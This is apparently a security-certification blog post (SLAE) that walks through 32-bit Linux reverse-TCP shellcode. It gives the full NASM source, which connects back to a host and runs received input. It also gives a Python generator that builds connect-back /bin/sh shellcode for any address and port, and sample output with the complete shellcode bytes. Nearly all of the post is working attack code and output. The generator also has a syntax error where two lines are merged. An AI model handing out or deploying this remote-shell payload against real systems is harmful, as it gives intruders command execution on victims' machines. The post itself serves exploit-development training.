SLAE: 0x2 Tcp connect back shellcode

Sun 02 April 2017

0x1 Requirements:

Write linux 32 bit shellcode that does the following:

0x1 Demo : putting it all together

0x3 Code walkthrough

shellcode

; Filename: tcp_reverse_execute.nasm
; Author:  Plaix
; Website:  http://slacklabs.be
;
; Purpose: 
; Connect back to host on configurable port and runs input that it reads upon connect

; Compile:
; --------
;
; nasm -f elf32 -o tcp_reverse_execute.o tcp_reverse_execute.nasm
; ld -o tcp_reverse_execute tcp_reverse_execute.o




global _start           

section .text
_start:

    ; clear out the regs
    xor ecx,ecx
    mul ecx

_socket:
    ; set up socket ( 0x66 ) , save FD
    ; socketcall syscall 102
    ; int socketcall(int call, unsigned long *args)
    ;    call= ebx 
        ;   0x01 = SYS_SOCKET
    ;   defined in linux/net.h
    ;   long *args = socket call
    ; int socket(int domain, int type, int protocol);
    ;            PF_INET=2,SOCK_STREAM=1,0

    mov byte al,0x66 ; 102
    inc ebx ; 0x01 SYS_SOCKET
    push ecx ; 0x00 = int protocol of socket args list
    push byte 0x01 ; 0x01 = int type = SOCK_STREAM
    push byte 0x02 ; = int domain = AF_INET
    mov ecx,esp
    int 0x80    
    ; save fd
    xchg esi,eax

_connect:   
    ; http://man7.org/linux/man-pages/man2/bind.2.html
    ; int socketcall(int call, unsigned long *args)
    ; call = 0x03  = connect
    ; int connect(int sockfd, const struct sockaddr *addr,
    ;                socklen_t addrlen);    
    pop ebx ; 0x02

    ; create struct sockaddr    
    ; push address
    push 0x0a38a8c0 ; 192.168.56.10
    ; use port 1337
    ; TCP/IP works in big endian order
    ; least significant bit to the right
    ; this will push the 2 byte port and the following 
    ; push word bx will push 2 on the stack
    ; making the dword to be used in the struct for port
    ; 3905000002 
    push word 0x3905 ; port 1337

    push word bx ; AF_INET = 2 
    inc ebx ; we need 0x03 for the connect call
    mov ecx,esp ; save pointer

    push byte 0x10 ; addrlen = 16
    push ecx ; struct sockaddr
    push esi ; sockfd
    mov ecx,esp ; save pointer to bind argument lists
    push byte 0x66 ; 102 socket syscall
    pop eax
    int 0x80


_dup2:
    ; duplicate stdErr(2),stdOut(1) and stdIn(0) so the socket can interact with execve spawned binary later on
    ; int dup2(int oldfd, int newfd); 
    ; ecx is prepped to loop and decrease by one until signed flag is set
    ; this will be set if ecx goes to -1 and allows us to loop past 0

    push byte 0x02
    pop ecx
    xchg ebx,esi ; sockFD 
loop:
    mov byte al,0x3f ; dup2 syscall
    int 0x80
    dec ecx
    jns loop


_readrun:
    ; reads input upon connect and jump to it to run
    ; read syscall
    mov byte al,0x03
    mov ecx,esp
    mov byte dl,0x7ff
    inc edx
    int 0x80
    jmp ecx

0x4 Automation:

To automate all this I've put together a script that will create a reverse connect shell on a configurable port and address

#!/usr/bin/python

'''

; Filename: generate_tcpconnect.py
; Author:  Plaix
; Website:  http://slacklabs.be
;
; Purpose: 
    Generates a x86 linux tcp connect back shell on a configurable port and address and runs 
    /bin/sh on connect

'''

import sys

sh=("\\x31\\xdb\\x31\\xc9\\xf7\\xe1\\xb0\\x66\\x43\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x96\\x5b\\x68ADDRESS\\x66\\x68PORT\\x66\\x53\\x43\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x6a\\x02\\x59\\x87\\xde\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x89\\xe1\\x52\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80")
#\x68\xc0\xa8\x38\x0a address
#"\x05\x39" port

def check_for_badchars(bclist,shellcode):
    '''
    returns false if badchars are found in resulting shellcode
    '''
    bclist=bytearray(bclist.decode('string_escape'))

    for x in bytearray(bclist):
        result=bytearray(shellcode).find(bytearray(chr(x)))
        if result != -1:
            return True
    # We're golden
    return False

def generate_shellcode(port,address):

    # TODO
    # 1024 < port < 65356
    if(port > 65356):
        print ("[+] Port number %s is above limit of 65356, exiting!!" % port)
        return -1
    if(port < 1024 ):
        print ("[+] Port number %s requires root permissions!!" % port) port=format(port,"#02x")[2:]
    if len(port) < 4:
        port="0"+str(port)
    port="\\x"+port[:2]+"\\x"+port[2:4]    
    print ("[+] Port converted to hex:\t%s" % port)
    address=''.join("\\x%02x" % int(x) for x in address.split('.'))
    print ("[+] Address converted to hex:\t%s" % address)



    converted=sh.replace('ADDRESS',address)
    converted=converted.replace('PORT',port)


    return converted

if __name__ == '__main__':

    if len(sys.argv) < 3:
        print("Need a port and address as argument")
        print("usage:\t %s <port> <address> <badchars | defaults \\x00>" % (sys.argv[0]))
    else:
        print("[+] Using port %s" % sys.argv[1])
        print("[+] Using address %s" % sys.argv[2])
        result=generate_shellcode(int(sys.argv[1]),sys.argv[2])
        if(result==-1):
            print("[+] Shellcode generating failed!!")
        else:
            print("[+] Shellcode length:\t%i" % (len(result)/4))
            if(len(sys.argv) == 4):
                print("[+] Contains badchars: %s" %check_for_badchars(sys.argv[3],result))
            else:
                print("[+] Contains null bytes: %s" %check_for_badchars("\\x00",result))

            print("[+] Shellcode :\n%s\n" % result)
[plaix@laptop 0x2_reverse_tcp]$ python2.7 generate_tcpconnect.py 
Need a port and address as argument
usage:   generate_tcpconnect.py <port> <address> <badchars | defaults \x00>
[plaix@laptop 0x2_reverse_tcp]$ python2.7 generate_tcpconnect.py 4567 192.168.1.1
[+] Using port 4567
[+] Using address 192.168.1.1
[+] Port converted to hex:  \x11\xd7
[+] Address converted to hex:   \xc0\xa8\x01\x01
[+] Shellcode length:   80
[+] Contains null bytes: False
[+] Shellcode :
\x31\xdb\x31\xc9\xf7\xe1\xb0\x66\x43\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x5b\x68\xc0\xa8\x01\x01\x66\x68\x11\xd7\x66\x53\x43\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x6a\x02\x59\x87\xde\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xe1\x52\x53\x89\xe1\xb0\x0b\xcd\x80

0x0 Resources used

Sysgrok: http://syscalls.kernelgrok.com/

Linux man pages: http://man7.org/linux/man-pages/index.html

shellstorm.org: http://shell-storm.org/shellcode/

exploit-db.com: https://www.exploit-db.com/shellcode/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE - 827